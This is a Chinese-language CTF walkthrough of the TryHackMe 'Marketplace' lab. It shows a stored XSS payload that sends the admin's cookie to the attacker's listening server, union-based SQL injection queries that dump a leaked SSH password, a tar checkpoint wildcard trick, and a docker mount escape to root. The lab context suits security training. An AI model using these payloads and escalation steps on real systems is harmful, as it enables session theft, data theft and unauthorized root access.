THM-The Marketplace
靶机ip:10.10.113.205
信息收集
nmap扫描
nmap -min-rate 10000 -A -sV -sC -p- 10.10.113.205
发现有22,80,32768端口开放
80端口
先扫描目录
gobuster dir -u http://10.10.113.205/ -w /usr/share/wordlists/dirb/common.txt
先创建一个普通用户查看一下相关路径,得到以下结果:
/admin
需要登录认证才能查看/signup
注册/login
登录/new
创建一个新列表/messages
查看消息/contact/michael
联系列表作者/item/1
查看具体列表的详细信息/report/1
向管理员报告列表
XSS钓鱼越权
测试后发现在创建新列表的时候,Description
的值存在存储型xss
<script>alert(1)</script>
可以利用xss得到cookie等关键信息
<script>alert(document.cookie)</script>
发现cookie的格式像是jwt,可以使用在线工具查看一下
想尝试将cookie伪造成admin,但是失败了
我们的商品存在存储型XSS漏洞,那么我们可以在我们的商品页面作为钓鱼页面,举报自己的商品诱导管理员审核,然后得到管理员的Cookie,提取他的Token
- 首先,建立监听用于获取cookie
python -m http.server
- 然后构造XSS钓鱼页面,当有人访问的时候获取他的cookie
1 | <img src=x onerror=this.src="http://10.14.90.122:8000/?1="+document.cookie> |
<img>
用于加载图像。
src=x
设置一个无效的图像源,通常会导致加载失败。
onerror
当图像加载失败时触发的事件。
this.src
在图像加载失败时,将图像的 src
属性设置为一个 URL,即为我们构造的一个新的URL将当前页面的 cookies 作为查询参数添加到该 URL 中
document.cookie
获取当前页面的 cookies
这时我们会收到大量的cookie,现在举报商品
发现有几条不一样的,分析一下
发现是admin的cookie,更换cookie
更换后刷新页面
发现多了个Administrator panel
,现在已经成功越权到admin了
点击后获得flag
SQL注入拿shell
随便点击一个用户发现是通过get传参,user
是参数进行查询的,判断一下是否有sql注入
可以注入
1 | http://10.10.113.205/admin?user=1 order by 4 --+ |
1 | http://10.10.113.205/admin?user=1 order by 5 --+ |
判断出字段数是4
1 | http://10.10.113.205/admin?user=1 and 1=2 union select 1,2,3,4--+ |
发现回显位置有1和2
1 | http://10.10.113.205/admin?user=1 and 1=2 union select database(),2,3,4--+ |
找到数据库名marketplace
1 | http://10.10.113.205/admin?user=1 and 1=2 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='marketplace'--+ |
1 | http://10.10.113.205/admin?user=1 and 1=2 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema='marketplace' and table_name='messages'--+ |
1 | http://10.10.113.205/admin?user=1 and 1=2 union select concat_ws(',',id,is_read,message_content,user_from,user_to),2,3,4 from marketplace.messages limit 0,1--+ |
找到了jake
用户的ssh密码@b_ENXkGYUCAv3zJ
ssh登录
1 | ssh jake@10.10.113.205 |
登陆成功
在当前目录找到user.txt
提升至root权限
横向移动
经典sudo -l
发现我们可以不使用密码以michael的身份运行/opt/backups/backup.sh
,查看一下
1 | cat /opt/backups/backup.sh |
这是一个压缩备份当前目录下的所有文件的脚本
1 | tar cf /opt/backups/backup.tar * |
可以用tar进行提权
1 | tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
/dev/null
特殊的路径,写入该文件的数据都会被丢弃,但脚本中已经定义了路径所以我们不用管
--checkpoint=1
在归档过程中每处理一个文件时,生成一个检查点。这个选项通常用于长时间运行的 tar 操作。
--checkpoint-action=exec=/bin/sh
在每个检查点触发时执行指定的命令。这里指定的命令是 /bin/sh
,即启动一个新的 shell。
只要能够让--checkpoint=1
和--checkpoint-action=exec=sh
运行起来就行了,那么我们只用创建两个名为--checkpoint=1
和--checkpoint-action=exec=sh
的文件就行了
1 | echo "/bin/bash" > shell.sh |
需要注意的是要将backup.tar
权限设置成能允许其他用户可以访问的权限
现在就移动到michael
权限
提权至root
id
看下权限先
发现有个docker权限
利用docker提权
1 | docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
提权成功
在/root
下找到root.txt